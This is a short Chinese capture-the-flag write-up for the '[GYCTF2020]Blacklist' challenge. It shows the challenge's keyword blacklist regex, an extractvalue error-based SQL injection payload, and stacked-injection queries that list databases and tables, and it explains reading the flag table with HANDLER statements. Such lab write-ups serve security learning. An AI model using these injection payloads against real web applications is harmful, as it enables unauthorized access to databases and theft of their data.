[GYCTF2020]Blacklist
一、题目信息
经测试发现可能是SQL注入

二、注入测试
构造闭合

得到三条数据
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}
测试返回黑名单列表
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
使用xpath 报错注入获取数据
/
?inject=1' and extractvalue(0x0a,concat(0x7e,(database()),0x7e)) and '1
user: root@localhost
version: 10.3.18-MariaDB
database: supersqli

测试发现可以进行堆叠注入
获取所有数据库名
/?inject=-1';show databases;

ctftraining
information_schema
mysql
performance_schema
test
supersqli
获取所有表名
/?inject=1';show+tables;

得到:
FlagHere
words
查询表结构
/?inject=-1';show create table FlagHere;
/?inject=-1';show create table words;


三、解题思路
使用HANDLER语句读取数据

Get Flag!
HANDLER语句解释
handler ... open #打开一个表
handler ... read #访问表内容,在调用close前是不会关闭的
handler ... close #关闭会话
最后更新于
这有帮助吗?